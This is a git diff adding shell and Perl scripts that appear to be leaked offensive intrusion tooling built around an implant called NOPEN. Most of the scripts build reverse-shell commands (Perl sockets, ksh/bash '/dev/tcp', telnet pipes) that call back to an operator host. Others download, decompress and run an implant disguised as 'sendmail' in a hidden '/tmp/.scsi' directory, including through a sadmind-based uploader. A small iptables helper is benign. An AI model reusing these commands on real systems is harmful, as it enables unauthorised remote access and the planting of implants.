"$CALLBACK_PORT" ] && echo "Error: missing remote port -p argument" && usage +if [ ! "${PERLPATH:0:1}" = "/" ] ; then + usage "-P argument \"$PERLPATH\" must start with /" +fi +PERLPATH=`echo "$PERLPATH" | sed "s,//,/,g"` +PERLLEN=`echo -n $PERLPATH | wc -c` +PERLLEN=$((PERLLEN-4)) +PERLTEST=${PERLPATH:$PERLLEN} + +if [ "$PERLTEST" = "perl" ] ; then + echo -e "Your path (-P) argument ends in \"perl\", so we will be running:\n\n" + echo -e " $PERLPATH/perl\n\n" + echo -en "^C to abort now if that is wrong, or hit return to continue. " + read blah +fi + +if [ "${TARGET_IP:0:3}" = "127" ] ; then + echo -e "For your NOPEN tunnel window:\n\nr $CALLBACK_PORT\n" +fi + +echo -e "For the shell callback (doublet requires a scripted window)" +echo -e "\n doublet $CALLBACK_PORT\n" + +# Listener respawns for ten minutes +RUN_WHAT="exec \\\"/bin/sh\\\"" + +#CMD="/sbin/sh -c (perl -MIO -e 'if (\$k=fork){\$i=$BURNAT;while(\$i--){sleep 1};kill(9,\$k);exit}chdir(\"/tmp\");while(\$c=new IO::Socket::INET(LocalPort,$CALLBACK_PORT,Reuse,1,Listen)->accept){\$~->fdopen(\$c,w);STDIN->fdopen(\$c,r);STDERR->fdopen(\$c,w);$RUN_WHAT}')&" +CMD="/bin/sh -c (perl -MIO -e 'use IO::Socket::INET;if (\\\$k=fork){\\\$i=$BURNAT;while(\\\$i--){sleep 1};kill(9,\\\$k);exit}chdir(\"/tmp\");while(\\\$c=new IO::Socket::INET(LocalPort,$CALLBACK_PORT,Reuse,1,Listen)->accept){\\\$~->fdopen(\\\$c,w);STDIN->fdopen(\\\$c,r);STDERR->fdopen(\\\$c,w);$RUN_WHAT}')&" +CMD=" /bin/ksh -c '/bin/sh < /dev/tcp/$CALLBACK_IP/$CALLBACK_PORT >&0 2>&0'" + +CMD="${PERLPATH}perl -e 'use IO::Socket;use IO::Handle;\\\$s=IO::Socket::INET->new(\"$CALLBACK_IP:$CALLBACK_PORT\");close(STDIN);close(STDOUT);IO::Handle->new_from_fd(\\\$s,\"r\");open(STDIN,\"<\\\$_\");IO::Handle->new_from_fd(\\\$s,\"w\");open(STDOUT,\">\\\$_\");$RUN_WHAT;'" + + +CMD2="`echo \"$CMD\" | sed 's,\\\,\\\\\\\\,g'`" + + +echo -e "Remote perl listener command will be: +$CMD+" + +cat </dev/null` +CALLBACK_PORT_OUT=`mkrandom -n 2>/dev/null` +while [ 1 ] ; do + [ "$CALLBACK_PORT_IN" = "$CALLBACK_PORT_OUT" ] && CALLBACK_PORT_OUT=`mkrandom -n 2>/dev/null` + [ "$CALLBACK_PORT_IN" = "$CALLBACK_PORT_OUT" ] || break +done + +[ "$CALLBACK_PORT_IN" ] || CALLBACK_PORT_IN=32177 +[ "$CALLBACK_PORT_OUT" ] || CALLBACK_PORT_OUT=32178 + +PROGNAME=`basename $0` + +usage() { + echo $PROGNAME v.$VER + [ "$1" = "v" ] && exit 1 + cat < (required) + -l (required) + -p (for stdin, first given to doublet, def. random) + -P (for stdout, second given to doublet, def. random) + -b (use bash+/dev/tcp remotely, second port not used) + -k (use ksh+/dev/tcp remotely, second port not used) + -t (use two telnets, BOTH ports used) +EOF + + [ "$*" ] && echo -e "\a\n\nERROR: $*\n" + exit 1 +} + +# There must be at least one argument +if [ ${#} -eq 0 ]; then + usage +fi + +# +# Process args +# +USE_KSH_TCP="" +USE_BASH_TCP="" + while getopts i:p:hvl:P:kbt op; do + case $op in + h|v) usage $op;; + i) TARGET_IP="$OPTARG";; + l) CALLBACK_IP="$OPTARG";; + p) CALLBACK_PORT_IN="$OPTARG";; + P) CALLBACK_PORT_OUT="$OPTARG";; + k) USE_KSH_TCP=yes;; + b) USE_BASH_TCP=yes;; + t) USE_TELNET="-t";; + esac + done + cmdFlag="-c" + shift `expr $OPTIND - 1` + +# Check for required args +[ -z "$TARGET_IP" ] && echo "Error: missing remote IP -i argument" && usage +[ -z "$CALLBACK_PORT_IN" ] && echo "Error: missing remote port -p argument" && usage +[ -z "$CALLBACK_PORT_OUT" ] && echo "Error: missing remote port -P argument" && usage +echo "$USE_TELNET$USE_KSH_TCP$USE_BASH_TCP" | grep -q "yesyes" && usage "Cannot use more than one of -t, -k, -b" +[ "$USE_TELNET" ] || CALLBACK_PORT_OUT="" + +if [ "${TARGET_IP:0:3}" = "127" ] ; then + echo -e "For your NOPEN tunnel window:\n" + echo -e "r $CALLBACK_PORT_IN" + [ "$USE_TELNET" ] && echo -e "r $CALLBACK_PORT_OUT" +fi + +echo -e "\n\nFor the shell callback (doublet requires a scripted window)" +echo -e "\n doublet $USE_TELNET $CALLBACK_PORT_IN $CALLBACK_PORT_OUT\n" + +# Listener respawns for ten minutes +RUN_WHAT="exec \\\"/bin/sh\\\"" + +if [ "$USE_TELNET" ] ; then + CMD="sleep 300 | (telnet $CALLBACK_IP $CALLBACK_PORT_IN 2>&1 ; sleep 1) | /bin/sh 2>&1 | telnet $CALLBACK_IP $CALLBACK_PORT_OUT 2>&1" + CMD="\\(telnet $CALLBACK_IP $CALLBACK_PORT_IN 2>&1 ; sleep 1\\) | /bin/sh 2>&1 | telnet $CALLBACK_IP $CALLBACK_PORT_OUT 2>&1" + CMD="TERM=vt100;export TERM;telnet $CALLBACK_IP $CALLBACK_PORT_IN 2>&1 | /bin/sh 2>&1 | telnet $CALLBACK_IP $CALLBACK_PORT_OUT 2>&1" +# These below work: + CMD="sh -c \"sleep 300 | (telnet $CALLBACK_IP $CALLBACK_PORT_IN 2>&1 ; sleep 1) | /bin/sh 2>&1 | telnet $CALLBACK_IP $CALLBACK_PORT_OUT 2>&1\"" + CMD="sh -c \"telnet $CALLBACK_IP $CALLBACK_PORT_IN 2>&1 < /dev/console | /bin/sh 2>&1 | telnet $CALLBACK_IP $CALLBACK_PORT_OUT 2>&1\"" +fi + +if [ "$USE_KSH_TCP" ] ; then + CMD="/bin/ksh -c \"/bin/sh < /dev/tcp/$CALLBACK_IP/$CALLBACK_PORT_IN >&0 2>&0\"" +fi +if [ "$USE_BASH_TCP" ] ; then + CMD="/bin/bash < /dev/tcp/$CALLBACK_IP/$CALLBACK_PORT_IN >&0 2>&0" +fi + + + +echo -e "Remote callback command will be: +$CMD+" + +cat <]" + echo " -i (required)" + echo " -l (required)" + echo " -p def = $CALLBACK_PORT" + echo " -f (required)" + echo " -D def= $DIR" + exit 1 +} + +# There must be at least one argument +if [ ${#} -eq 0 ]; then + usage +fi + +# +# Process args +# + while getopts p:g:i:l:n:u:f:D: op; do + case $op in + i) TARGET_IP="$OPTARG";; + p) CALLBACK_PORT="$OPTARG";; + l) LOCAL_IP="$OPTARG";; + n) PASS="$OPTARG";; + u) USER="$OPTARG";; + f) RUN_FILE="$OPTARG";; + D) DIR="$OPTARG";; + esac + done + cmdFlag="-c" + shift `expr $OPTIND - 1` + +# Check for required args + [ -z "$TARGET_IP" ] && echo "Error: missing remote IP" && usage + [ -z "$LOCAL_IP" ] && echo "Error: missing callback IP" && usage + [ -z "$RUN_FILE" ] && echo "Error: missing file2Xfer&Run: i.e. nscd or sendmail" && usage + +echo "Generating initial upload script." +# Ditching the initial script stuff because bl_light reads the string from the command line.... + +# Note if you are doing shell stuff, make sure you do the sh -c string..... + +#cat > initial_upload.scr << EOF +#/bin/sh -c "mkdir ${DIR} 2>/dev/null; cd ${DIR} && telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>/dev/null ${RUN_FILE}.uu; uudecode ${RUN_FILE}.uu && uncompress -f ${RUN_FILE}.Z && chmod 0700 ${DIR}/${RUN_FILE} && PATH=${DIR} ${RUN_FILE}" +#EOF + +echo "now running: " + +#echo "boss_lad -t ${TARGET_IP} -c ./initial_upload.scr " +echo "bl_light ${TARGET_IP} '/bin/sh -c \"mkdir ${DIR} 2>/dev/null; cd ${DIR} && telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>/dev/null ${RUN_FILE}.uu; uudecode ${RUN_FILE}.uu && uncompress -f ${RUN_FILE}.Z && chmod 0700 ${DIR}/${RUN_FILE} && PATH=${DIR} ${RUN_FILE}\"'" + +#./boss_lad -t ${TARGET_IP} -c ./initial_upload.scr +./bl_light ${TARGET_IP} "/bin/sh -c \"mkdir ${DIR} 2>/dev/null; cd ${DIR} && telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>/dev/null ${RUN_FILE}.uu; uudecode ${RUN_FILE}.uu && uncompress -f ${RUN_FILE}.Z && chmod 0700 ${DIR}/${RUN_FILE} && PATH=${DIR} ${RUN_FILE}\"" + +echo "Thank you for playing" + + diff --git a/Linux/bin/blockme b/Linux/bin/blockme new file mode 100755 index 0000000..ebf9d71 --- /dev/null +++ b/Linux/bin/blockme @@ -0,0 +1,132 @@ +#!/usr/bin/env perl + +# Blockme inserts iptables rules to prevent traffic to unintended hosts +# Also can remove rules and list them + +use Getopt::Std; + +$VER = "1.0.0.3"; +$prog = `basename $0`; +chomp $prog; +$iptablesListCommand = "iptables -L OUTPUT --line-numbers -n"; + +# Get command line options +die("Invalid command line option") unless getopts("hvlr:a:"); + +# Helpful information if necessary or if invalid inputs +usage() if $opt_h; +version() if $opt_v; +usage() if (defined($opt_l) and (defined($opt_r) or defined($opt_a))); +usage() if (defined($opt_r) and (defined($opt_l) or defined($opt_a))); +usage() if (defined($opt_a) and (defined($opt_r) or defined($opt_l))); +unless (defined($opt_a) or defined($opt_r) or defined($opt_l)) { + usage() if ("@ARGV" =~ /[^\.\d\/]/); + usage() if ("@ARGV" =~ m,/.*/,); + $opt_a = "@ARGV"; +} + +# Do what user asked to do +$rulenumber = $opt_r; +$netblock = $opt_a; +die ("No iptables in PATH") unless `which iptables 2>/dev/null`; +die("You must be root.\n") if ($>); +listrules() if defined($opt_l); +removerule() if defined($opt_r); +addrule() if defined($opt_a); + +### END MAIN PROGRAM ### + +# Usage statement function +sub usage() +{ + select STDERR; + print "\n$prog [options] [IPADDR/MASK]\n"; + print "\n"; + print "Options:\n"; + print " -h/-v Usage/version information\n"; + print " -l List current blocked output rules\n"; + print " -r RULENUM Remove RULENUM from iptables OUTPUT rules\n"; + print " -a IPADDR/MASK add DROP of address/network to iptables OUTPUT rules\n"; + print " (-a is assumed if just an IP/MASK is given)\n"; + print " (ONLY specify mask as 1-32, no 255.255.255.0-style)\n"; + print " (if not present, MASK defaults to 24 - Class C)\n\n"; + print "NOTE: This tool is NOT meant to do any fine-grained manipulation of\n"; + print " iptables rules. It is meant to be all or nothing to prevent\n"; + print " accidental comms. \"man iptables\" if more specific rules needed\n\n"; + version(); +} + +# Version information function +sub version() +{ + print "$prog version $VER\n"; + exit 1; +} + +# List the rules in the output chain +sub listrules() +{ + system("$iptablesListCommand") and + die("Unable to run \"$iptablesListCommand: $!\n"); +} + +# Remove a rule number from the output chain +sub removerule() +{ + # Confirm this is the rule user wants to delete + die ("No rule number specified") if (length($rulenumber) <= 0); + $validrule = `$iptablesListCommand 2>/dev/null | egrep -vi "^(chain|num)" | grep "^$rulenumber "`; + chomp $validrule; + die("Invalid rule number specified: $rulenumber") unless (length($validrule) > 0); + print "The rule you would like to delete is:\n\n"; + print "$validrule\n"; + print "Is this correct? (Y/N): "; + $response = ; + chomp $response; + die("Rule removal aborted") unless ($response =~ /^[yY]/); + + # If here, got confirmation, delete the rule + system("iptables -D OUTPUT $rulenumber") and + die("Unable to run \"iptables -D OUTPUT $rulenumber\"\n"); + print "Rule $rulenumber removed successfully\n"; + print "\nNOTE: rule numbers change as rules are added/deleted\n" +} + +sub addrule() +{ + ### Confirm that this is valid input + + # Make sure a valid IP address + ($address, $mask) = split(/\//, $netblock); + die("Invalid IP address given") unless ($address =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/); + @octets = split(/\./, $address); + foreach $octet (@octets) + { + die("Invalid IP address given") if ($octet > 255); + } + + # Make sure a valid mask + if (length($mask)) + { + die("Invalid mask given") unless ($mask =~ /^(\d{1,2})$/); + die("Invalid mask given") if ($mask > 32); + } + else + { + $mask = "24"; + } + if ($address =~ /^(127|0+)./) { + die("Refusing to block all traffic to $1.*"); + } + + # Inputs are valid, add the rule + system("iptables -I OUTPUT 1 -j DROP --destination $address/$mask") and + die("Unable to run \"iptables -I OUTPUT 1 -j DROP --destination $address/$mask\"\n"); + + # Now display the rules + print "Rule added, displaying current rules:\n\n"; + system("$iptablesListCommand") and + die("Unable to run \"$iptablesListCommand: $!\n"); + print "\nNOTE: rule numbers change as rules are added/deleted\n" +} + diff --git a/Linux/bin/blockme.old b/Linux/bin/blockme.old new file mode 100755 index 0000000..970a0be --- /dev/null +++ b/Linux/bin/blockme.old @@ -0,0 +1,129 @@ +#!/usr/bin/env perl + +# Blockme inserts iptables rules to prevent traffic to unintended hosts +# Also can remove rules and list them + +use Getopt::Std; + +$VER = "1.0.0.2"; +$prog = `basename $0`; +chomp $prog; +$iptablesListCommand = "iptables -L OUTPUT --line-numbers -n"; + +# Get command line options +die("Invalid command line option") unless getopts("hvlr:a:"); + +# Helpful information if necessary or if invalid inputs +usage() if $opt_h; +version() if $opt_v; +usage() if (defined($opt_l) and (defined($opt_r) or defined($opt_a))); +usage() if (defined($opt_r) and (defined($opt_l) or defined($opt_a))); +usage() if (defined($opt_a) and (defined($opt_r) or defined($opt_l))); +unless (defined($opt_a) or defined($opt_r) or defined($opt_l)) { + usage() if ("@ARGV" =~ /[^\.\d\/]/); + usage() if ("@ARGV" =~ m,/.*/,); + $opt_a = "@ARGV"; +} + +# Do what user asked to do +$rulenumber = $opt_r; +$netblock = $opt_a; +die ("No iptables in PATH") unless `which iptables 2>/dev/null`; +die("You must be root.\n") if ($>); +listrules() if defined($opt_l); +removerule() if defined($opt_r); +addrule() if defined($opt_a); + +### END MAIN PROGRAM ### + +# Usage statement function +sub usage() +{ + select STDERR; + print "\n$prog [options] [IPADDR/MASK]\n"; + print "\n"; + print "Options:\n"; + print " -h/-v Usage/version information\n"; + print " -l List current blocked output rules\n"; + print " -r RULENUM Remove RULENUM from iptables OUTPUT rules\n"; + print " -a IPADDR/MASK add DROP of address/network to iptables OUTPUT rules\n"; + print " (-a is assumed if just an IP/MASK is given)\n"; + print " (ONLY specify mask as 1-32, no 255.255.255.0-style)\n"; + print " (if not present, MASK defaults to 24 - Class C)\n\n"; + print "NOTE: This tool is NOT meant to do any fine-grained manipulation of\n"; + print " iptables rules. It is meant to be all or nothing to prevent\n"; + print " accidental comms. \"man iptables\" if more specific rules needed\n\n"; + version(); +} + +# Version information function +sub version() +{ + print "$prog version $VER\n"; + exit 1; +} + +# List the rules in the output chain +sub listrules() +{ + system("$iptablesListCommand") and + die("Unable to run \"$iptablesListCommand: $!\n"); +} + +# Remove a rule number from the output chain +sub removerule() +{ + # Confirm this is the rule user wants to delete + die ("No rule number specified") if (length($rulenumber) <= 0); + $validrule = `$iptablesListCommand 2>/dev/null | egrep -vi "^(chain|num)" | grep "^$rulenumber "`; + chomp $validrule; + die("Invalid rule number specified: $rulenumber") unless (length($validrule) > 0); + print "The rule you would like to delete is:\n\n"; + print "$validrule\n"; + print "Is this correct? (Y/N): "; + $response = ; + chomp $response; + die("Rule removal aborted") unless ($response =~ /^[yY]/); + + # If here, got confirmation, delete the rule + system("iptables -D OUTPUT $rulenumber") and + die("Unable to run \"iptables -D OUTPUT $rulenumber\"\n"); + print "Rule $rulenumber removed successfully\n"; + print "\nNOTE: rule numbers change as rules are added/deleted\n" +} + +sub addrule() +{ + ### Confirm that this is valid input + + # Make sure a valid IP address + ($address, $mask) = split(/\//, $netblock); + die("Invalid IP address given") unless ($address =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/); + @octets = split(/\./, $address); + foreach $octet (@octets) + { + die("Invalid IP address given") if ($octet > 255); + } + + # Make sure a valid mask + if (length($mask)) + { + die("Invalid mask given") unless ($mask =~ /^(\d{1,2})$/); + die("Invalid mask given") if ($mask > 32); + } + else + { + $mask = "24"; + } + + # Inputs are valid, add the rule + system("iptables -I OUTPUT 1 -j DROP --destination $address/$mask") and + die("Unable to run \"iptables -I OUTPUT 1 -j DROP --destination $address/$mask\"\n"); + + # Now display the rules + print "Rule added, displaying current rules:\n\n"; + system("$iptablesListCommand") and + die("Unable to run \"$iptablesListCommand: $!\n"); + print "\nNOTE: rule numbers change as rules are added/deleted\n" +} + diff --git a/Linux/bin/blockme.old1 b/Linux/bin/blockme.old1 new file mode 100755 index 0000000..970a0be --- /dev/null +++ b/Linux/bin/blockme.old1 @@ -0,0 +1,129 @@ +#!/usr/bin/env perl + +# Blockme inserts iptables rules to prevent traffic to unintended hosts +# Also can remove rules and list them + +use Getopt::Std; + +$VER = "1.0.0.2"; +$prog = `basename $0`; +chomp $prog; +$iptablesListCommand = "iptables -L OUTPUT --line-numbers -n"; + +# Get command line options +die("Invalid command line option") unless getopts("hvlr:a:"); + +# Helpful information if necessary or if invalid inputs +usage() if $opt_h; +version() if $opt_v; +usage() if (defined($opt_l) and (defined($opt_r) or defined($opt_a))); +usage() if (defined($opt_r) and (defined($opt_l) or defined($opt_a))); +usage() if (defined($opt_a) and (defined($opt_r) or defined($opt_l))); +unless (defined($opt_a) or defined($opt_r) or defined($opt_l)) { + usage() if ("@ARGV" =~ /[^\.\d\/]/); + usage() if ("@ARGV" =~ m,/.*/,); + $opt_a = "@ARGV"; +} + +# Do what user asked to do +$rulenumber = $opt_r; +$netblock = $opt_a; +die ("No iptables in PATH") unless `which iptables 2>/dev/null`; +die("You must be root.\n") if ($>); +listrules() if defined($opt_l); +removerule() if defined($opt_r); +addrule() if defined($opt_a); + +### END MAIN PROGRAM ### + +# Usage statement function +sub usage() +{ + select STDERR; + print "\n$prog [options] [IPADDR/MASK]\n"; + print "\n"; + print "Options:\n"; + print " -h/-v Usage/version information\n"; + print " -l List current blocked output rules\n"; + print " -r RULENUM Remove RULENUM from iptables OUTPUT rules\n"; + print " -a IPADDR/MASK add DROP of address/network to iptables OUTPUT rules\n"; + print " (-a is assumed if just an IP/MASK is given)\n"; + print " (ONLY specify mask as 1-32, no 255.255.255.0-style)\n"; + print " (if not present, MASK defaults to 24 - Class C)\n\n"; + print "NOTE: This tool is NOT meant to do any fine-grained manipulation of\n"; + print " iptables rules. It is meant to be all or nothing to prevent\n"; + print " accidental comms. \"man iptables\" if more specific rules needed\n\n"; + version(); +} + +# Version information function +sub version() +{ + print "$prog version $VER\n"; + exit 1; +} + +# List the rules in the output chain +sub listrules() +{ + system("$iptablesListCommand") and + die("Unable to run \"$iptablesListCommand: $!\n"); +} + +# Remove a rule number from the output chain +sub removerule() +{ + # Confirm this is the rule user wants to delete + die ("No rule number specified") if (length($rulenumber) <= 0); + $validrule = `$iptablesListCommand 2>/dev/null | egrep -vi "^(chain|num)" | grep "^$rulenumber "`; + chomp $validrule; + die("Invalid rule number specified: $rulenumber") unless (length($validrule) > 0); + print "The rule you would like to delete is:\n\n"; + print "$validrule\n"; + print "Is this correct? (Y/N): "; + $response = ; + chomp $response; + die("Rule removal aborted") unless ($response =~ /^[yY]/); + + # If here, got confirmation, delete the rule + system("iptables -D OUTPUT $rulenumber") and + die("Unable to run \"iptables -D OUTPUT $rulenumber\"\n"); + print "Rule $rulenumber removed successfully\n"; + print "\nNOTE: rule numbers change as rules are added/deleted\n" +} + +sub addrule() +{ + ### Confirm that this is valid input + + # Make sure a valid IP address + ($address, $mask) = split(/\//, $netblock); + die("Invalid IP address given") unless ($address =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/); + @octets = split(/\./, $address); + foreach $octet (@octets) + { + die("Invalid IP address given") if ($octet > 255); + } + + # Make sure a valid mask + if (length($mask)) + { + die("Invalid mask given") unless ($mask =~ /^(\d{1,2})$/); + die("Invalid mask given") if ($mask > 32); + } + else + { + $mask = "24"; + } + + # Inputs are valid, add the rule + system("iptables -I OUTPUT 1 -j DROP --destination $address/$mask") and + die("Unable to run \"iptables -I OUTPUT 1 -j DROP --destination $address/$mask\"\n"); + + # Now display the rules + print "Rule added, displaying current rules:\n\n"; + system("$iptablesListCommand") and + die("Unable to run \"$iptablesListCommand: $!\n"); + print "\nNOTE: rule numbers change as rules are added/deleted\n" +} + diff --git a/Linux/bin/bs b/Linux/bin/bs new file mode 100755 index 0000000..8da657d Binary files /dev/null and b/Linux/bin/bs differ diff --git a/Linux/bin/bs.auto b/Linux/bin/bs.auto new file mode 100755 index 0000000..395a0eb --- /dev/null +++ b/Linux/bin/bs.auto @@ -0,0 +1,661 @@ +#!/bin/sh +# Defaults +PROG=`basename ${0}` +VER="2.10.1.4" +ERRSLEEP=0 +[ "$TUNNELPORT" ] || TUNNELPORT=`cat /current/bin/.tunnelport 2>/dev/null` +[ "$TUNNELPORT" ] || TUNNELPORT=18787 +COLOR_SUCCESS="\\033[1;32m" +COLOR_FAILURE="\\033[1;31m" +COLOR_WARNING="\\033[1;33m" +COLOR_NORMAL="\\033[0;39m" +COLOR_NOTE="\\033[0;34m" +COLOR_WHITE="\\033[4;97m" +SETCOLOR_SUCCESS="echo -en $COLOR_SUCCESS" +SETCOLOR_FAILURE="echo -en $COLOR_FAILURE" +SETCOLOR_WARNING="echo -en $COLOR_WARNING" +SETCOLOR_NORMAL="echo -en $COLOR_NORMAL" +SETCOLOR_NOTE="echo -en $COLOR_NOTE" +SETCOLOR_WHITE="echo -en $COLOR_WHITE" +# usagetext here so this can be used globally +DEFCALLBACKDELAY=15 +SYNTAX=" [E=ratpreargs] [A=ratpostargs] \\ + $PROG [options] remoteHost [remoteDomain] +" +usagetextshort=" +Usage: +$SYNTAX +$PROG uploads and runs NOPEN via ./bs. + +REQUIRED OPTIONS - Usual upload/execute mode + +-i IP Target IP (or 127.0.0.1 if redirecting) +-u # Target's udp sadmind (prog 100232) port + +TROUBLESHOOT OPTION + +-R Run specific commands on target, not the usual (you are + prompted for the command string to send). OTHER OPTIONS below + are ignored when using -R. + +OTHER OPTIONS - [default in brackets if any] + +-n # Local tcp port for netcat upload [random] +-l IP Local IP for netcat upload [the first active IP in this order: + ppp0, ppp1, eth0 or eth1] +-r name Name to call uploaded file on target [sendmail] +-D dir Working directory to create/use on target [/tmp/.scsi] +-p # NOPEN port for either listen or callback mode [random] +-c Use NOPEN in callback mode to local IP (also see -S) +-C IP Use NOPEN in callback mode to this IP instead of local IP +-s # Change delay used for -c|C to # seconds [$DEFCALLBACKDELAY] +-t Use the OLDCMD/telnet/uudecode method instead of the default + CMD/ksh.$COLOR_FAILURE NOTE: This DOES require uudecode.$COLOR_NORMAL +-T Do NOT use tr at all (can be used with or without -t) +-z Do NOT use uncomrpess at the far end (so you should not use + compress here) +-P Assume PATH=. will fail so use ./ratname +-S name Script file to write and remove when using -t (OLDCMD) method +-G Retry exploit--using already uploaded RAT (useful when you need + to try adding -P option or try another RAT callback port). + +" +usagetext="$usagetextshort +In the usual upload/execute mode, unless the -T option is used, $PROG +uses the remote system's tr program (see \"man tr\") to unmunge the +string sent via bs into the commands we want him to execute. See dtail +below. $PROG will build and show the munged and unmunged strings, +prompting to abort or continue before any packets are sent. + +NOTE: The environment variables E and A are still usable as: + E=ratpreargs A=ratpostargs + + BUT, they are no longer necessary for NOPEN ports and callbacks. + + ratpreargs : a string put on remote command line right after + PATH=. and before remoteName (NOTE: If using -l/c + options above this is no longer necessary.) + + ratpostargs : a string put on remote command line after running + remoteName (e.g., \" ; rm sendmail\") + + Command sent to bs will be munged (unless -T is used) from one of: + +OLDCMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};telnet \${LOCAL_IP} \${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1 && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\" + +CMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};/bin/ksh -c \"cat < /dev/tcp/\${LOCAL_IP}/\${LOCAL_PORT} > \${REMOTE_FNAME}.Z && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\"\" + +OR if -T is used, one of these will be used but will not be munged. + +$PROG Version $VER +" +note() { + unset N + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + echo -e $N "$COLOR_NOTE${*}$COLOR_NORMAL" +} +notered() { + unset N + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + echo -e $N "$COLOR_FAILURE${*}$COLOR_NORMAL" +} +tunnelcmd() { + echo "${*}" | nc -w1 -u 127.0.0.1 $TUNNELPORT +} +usage() { + + [ "$1" = "exit" ] && EXIT=1 && shift + if [ "$1" = "-h" ] ; then + shift + [ "$ERRSTR" ] || ERRSTR="\nNOTE: \a THE NEW WAY REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!!" + echo -e "$usagetext" + fi + if [ "$1" = "-v" ] ; then + echo "$PROG version $VER" + shift + fi + ERRSTR="${*}" + if [ "$ERRSTR" ] ; then + notered "\a${ERRSTR}" + fi + [ "$EXIT" ] && exit +} # end usage + +doit() { + RETRYONLY=0 + CMDLINE="\nCommandLine: ${0} ${*}" + CALLBACKDELAY=$DEFCALLBACKDELAY + # lab testing? + ifconfig 2>&1 | grep "555.1\.2\." > /dev/null && CALLBACKDELAY=4 + unset NOPENPORT CALLBACKIP CALLBACK OLDCMD NO_TR NOZIP PACKARGS DOTSLASH CMDOVERRIDE SCRIPT + unset UNCOMPRESS REDIRECT UUARG REMOTE_DOMAIN PACKRAT_SCRIPME + while getopts p:cl:ths:zPvRu:s:Ti:n:r:D:P:a:S:C:RG op; do + case $op in + h) usage exit -h ;; + v) usage exit -v ;; + i) REMOTE_IP="${OPTARG}";; + n) LOCAL_PORT="$OPTARG" ;; + l) LOCAL_IP="$OPTARG";; + r) REMOTE_FNAME="$OPTARG" ;; + D) REMOTE_DIR="$OPTARG" ;; + p) NOPENPORT="$OPTARG";; + a) [ "$ARCH" ] || ARCH="$OPTARG";; + u) SADMIND_PORT="$OPTARG" + SADMIND_ARG="-p $OPTARG" ;; + E) RAT_PREARGS=" $OPTARG";; + A) RAT_POSTARGS=" $OPTARG";; + C) CALLBACKIP="$OPTARG";; + c) CALLBACK=" callback";; + t) OLDCMD="yes";; + T) NO_TR="yes";; + s) CALLBACKDELAY="$OPTARG";; + z) NOZIP=yes + PACKARGS=" -z" ;; + P) DOTSLASH="./";; + R) CMDOVERRIDE=yes ;; + S) SCRIPT="$OPTARG" ;; + G) RETRYONLY=1 ;; + esac + done + unset NOSERVER + if [ "$ARCH" ] ; then + NOSERVER=`ls -1 /current/up/morerats/noserver*solaris-2.6 2>/dev/null | grep -i ${ARCH} | tail -1` + fi + [ "$NOSERVER" ] || NOSERVER=/current/up/noserver + + shift `expr $OPTIND - 1` + [ "$#" -eq 0 -a ! "$REMOTE_IP" ] && usage exit -h + [ "$1" ] && REMOTE_HOST="-h ${1}" + [ "$2" ] && REMOTE_DOMAIN="-d ${2}" + # fixed defaults here (random ports and such elsewhere) + [ "$SCRIPT" ] || SCRIPT="...." + [ "$REMOTE_FNAME" ] || REMOTE_FNAME=sendmail + [ "$REMOTE_DIR" ] || REMOTE_DIR=/tmp/.scsi + if [ ! "$CMDOVERRIDE" ] ; then + if [ ! "$NOPENPORT" ] ; then + NOPENPORT=`mkrandom -n 2>/dev/null` + fi + if [ ! "$NOPENPORT" ] ; then + usage "mkrandom not in path--needed to generate random port for NOPEN\n(use -p # to force a particular port)" + return + fi + fi + + + [ "$E" ] && RAT_PREARGS=" $RAT_PREARGS $E" && echo "RAT_PREARGS=\"$RAT_PREARGS\"" + [ "$A" ] && RAT_POSTARGS=" $RAT_POSTARGS $A" && echo "RAT_POSTARGS=\"$RAT_POSTARGS\"" + echo "" + + [ "$HOSTERR" ] && REMOTE_HOST="-h ${HOSTERR}" + + + + # show what we were called with + echo -e "$CMDLINE" + + # Check to make sure tcp LISTEN is there + PORTS=`netstat -an | grep tcp.*LIST | cut -f 2 -d ":" | sort -rn | awk '{print $1}' |egrep -v "6000"` + if [ "$NOPENPORT" ] ; then + note "Using random NOPEN$CALLBACK port $NOPENPORT" + fi + + note Local ports LISTENing: $PORTS + echo + which packrat >/dev/null 2>&1 + NOPACKRAT=$? + [ "$NOPACKRAT" = "0" ] || usage exit "No packrat in your path" + + if [ ! "$CMDOVERRIDE" -a $RETRYONLY == 0 ] ; then + if [ "$TARGETIP" ] ; then + # autoattack mode so yes we want packrat + PACKRAT_SCRIPME=yes + else + if [ "$LOCAL_PORT" ] ; then + for i in $PORTS -1 ; do + [ "$i" = "$LOCAL_PORT" ] && break + done + if [ $i -lt 0 ] ; then + PACKRAT_SCRIPME=yes + else + notered "\aLocalPort=$LOCAL_PORT provided on command line already LISTENing. Assuming that is the upload." + sleep 2 + fi + else + while [ 1 ] ; do + LOCAL_PORT=`mkrandom -n 2>/dev/null` + [ ! "$LOCAL_PORT" ] && usage exit "mkrandom not in path--needed to generate random rat upload port" + ALREADYTHERE=`netstat -an | grep tcp.*LIST | grep ":$LOCAL_PORT "` + note "Using a random port ($LOCAL_PORT) for local RAT upload listener (packrat)" + PACKRAT_SCRIPME=yes + [ "$ALREADYTHERE" ] || break + done + fi + fi + for pid in `pidof nc` ; do + UULISTEN=`ls -al /proc/$pid/fd | grep \.uu` + if [ "$UULISTEN" -a ! "$OLDCMD" ] ; then + usage exit "NOT GOOD: Your netcat LISTEN seems to be sending a .uu file--DO NOT (see usage): + # ls -al /proc/$pid/fd | grep \.uu\n$UULISTEN" + fi + done + fi # if ! 